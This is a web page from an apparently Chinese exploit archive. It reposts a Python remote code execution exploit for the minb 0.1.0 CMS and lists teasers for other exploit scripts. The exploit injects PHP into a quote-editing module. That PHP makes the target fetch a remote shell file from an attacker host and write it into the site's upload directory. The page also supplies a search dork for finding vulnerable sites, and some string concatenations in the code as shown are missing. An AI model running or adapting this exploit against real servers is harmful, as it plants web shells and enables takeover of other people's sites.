minb 0.1.0 Remote Code Execution Exploit

所属分类: 网络安全 / Exploit 阅读数: 119
收藏 0 赞 0 分享
#!/usr/bin/python
#####################################################################################
#### minb Remote Code Execution Exploit ####
#####################################################################################
# #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) #
#Our Site : Http://IRCRASH.COM #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) #
#####################################################################################
# #
#Site : http://minb.sf.net #
# #
#Download : http://switch.dl.sourceforge.net/sourceforge/minb/minb-0.1.0.tar.bz2 #
# #
#DORK : Powered by minb #
# #
#####################################################################################
# [Note] #
# #
#All php file in this cms have this bug ;) #
# #
#####################################################################################
# Site : Http://IRCRASH.COM #
###################################### TNX GOD ######################################
import sys,urllib
if len(sys.argv)<3 :
print "minb Remote code Execution Exploit"
print "Powered by : R3d.W0rm"
print "www.IrCrash.com"
print "Usage : " sys.argv[0] " http://Target/path http://evil/shell.txt"
print "Ex. " sys.argv[0] " http://site.com/minb http://r3d.a20.ir/r.txt"
exit()
if 'http://' not in sys.argv[1] :
sys.argv[1]='http://' sys.argv[1]
if 'http://' not in sys.argv[2] :
sys.argv[2]='http://' sys.argv[2]
fp='/include/modules/top/1-random_quote.php?parse=r3d.w0rm'
data=urllib.urlencode({'quotes_to_edit':'quotes_to_edit=";$s=fopen(\'' sys.argv[2] '\',r);while(!feof($s)){$shell.=fread($s,1024);};fclose($s);$fp=fopen(\'../../../upload/pictures/r3d.w0rm.php\',\'w \');fwrite($fp,$shell);fclose($fp);/*'})
urllib.urlopen(sys.argv[1] fp,data)
urllib.urlopen(sys.argv[1] fp)
test=urllib.urlopen(sys.argv[1] '/upload/pictures/r3d.w0rm.php').read()
if 'Not Found' not in test :
print "Shell Uploaded ."
print sys.argv[1] '/upload/pictures/r3d.w0rm.php'
exit()

更多精彩内容其他人还在看

LoveCMS 1.6.2 Final Remote Code Execution Exploit

#!/usr/bin/ruby # ## Exploit by PoMdaPiMp! ## --------------------- ## pomdapimp(at)gmail(dotcom) ## ## LoveCMS Exploi
收藏 0 赞 0 分享

Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit

#!/usr/bin/perl # carved-out by: crit3rion, just making th3 world a b3tt3r plac3! # Xerox_Remote_DoS.20080801.ver01 (tanx to dr0pz0N3
收藏 0 赞 0 分享

moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit

#!/usr/bin/perl # # moziloCMS 1.10.1 Perl exploit # # discovered & written by Ams # ax330d [doggy] gmail [dot] com # # DESCRIP
收藏 0 赞 0 分享

Joomla Component EZ Store Remote Blind SQL Injection Exploit

#!/usr/bin/perl #Note:Sometimes you have to change the regexp to viewcategory/catid,".$cid." use LWP::UserAgent; use Get
收藏 0 赞 0 分享

Friendly Technologies (fwRemoteCfg.dll) ActiveX Command Exec Exploit

<!-- In addition to the overflow found in the "Friendly Technologies" dialers ActiveX, Here is a "remote command execu
收藏 0 赞 0 分享

Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit

<!-- "Friendly Technologies" provide software like L2TP and PPPoE clients to ISPs, who give the software to their customers
收藏 0 赞 0 分享

IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit

/* * IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Expoit * * Discovered & Written by r0ut3r (writ3r [at] gmail.com) *
收藏 0 赞 0 分享

Ultra Office ActiveX Control Remote Buffer Overflow Exploit

----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Buffer Overflow url:
收藏 0 赞 0 分享

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit Author: Koshi Original POC: http://www.milw0rm.com/exploi
收藏 0 赞 0 分享

MyBulletinBoard (MyBB)

<?php // forum mybb <= 1.2.11 remote sql injection vulnerability // bug found by Janek Vind "waraxe" http://www.waraxe
收藏 0 赞 0 分享
查看更多